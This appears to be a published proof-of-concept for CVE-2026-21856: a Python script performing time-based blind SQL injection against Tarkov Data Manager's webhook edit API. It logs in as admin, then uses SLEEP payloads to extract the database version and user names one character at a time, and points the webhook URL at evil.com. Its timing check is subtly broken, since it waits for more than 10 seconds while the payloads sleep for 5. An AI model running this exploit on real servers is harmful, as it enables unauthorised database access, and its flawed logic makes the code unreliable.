CVE-2026-21856 Tarkov Data Manager 盲注SQL注入漏洞

import requests import time # CVE-2026-21856 Time-Based Blind SQL Injection PoC # Target: Tarkov Data Manager webhook edit / scanner API endpoints TARGET_URL = "http://target-server/api/webhook/edit" # Replace with actual target URL session = requests.Session() # Authenticate with high-privilege account session.post("http://target-server/api/auth/login", json={ "username": "admin", "password": "password" }) def time_based_blind_sqli(payload): """Execute time-based blind SQL injection""" headers = { "Content-Type": "application/json", "X-Auth-Token": session.cookies.get("session_token") } data = { "webhook_id": "1", "name": payload, "url": "http://evil.com/webhook" } start_time = time.time() response = session.post(TARGET_URL, json=data, headers=headers, timeout=30) elapsed = time.time() - start_time return elapsed > 10 # True if SLEEP(10) was executed # Example: Test if database version contains 'MariaDB' def extract_db_version(): """Extract database version using blind SQL injection""" charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-" result = "" for pos in range(1, 50): for char in charset: payload = f"test' AND IF(SUBSTRING(@@version,{pos},1)='{char}',SLEEP(5),0)-- -" if time_based_blind_sqli(payload): result += char print(f"[*] Extracted: {result}") break if len(result) == pos - 1: break return result # Example: Extract database users def extract_db_users(): """Extract MySQL users from database""" charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@._" result = "" for pos in range(1, 100): for char in charset: payload = f"test' AND IF(SUBSTRING(user(),{pos},1)='{char}',SLEEP(5),0)-- -" if time_based_blind_sqli(payload): result += char print(f"[*] User: {result}") break return result if __name__ == "__main__": print("CVE-2026-21856 Blind SQL Injection Test") # Test basic injection test_payload = "test' AND SLEEP(5)-- -" if time_based_blind_sqli(test_payload): print("[!] Vulnerability confirmed - Time delay detected") else: print("[-] No vulnerability detected or target not vulnerable")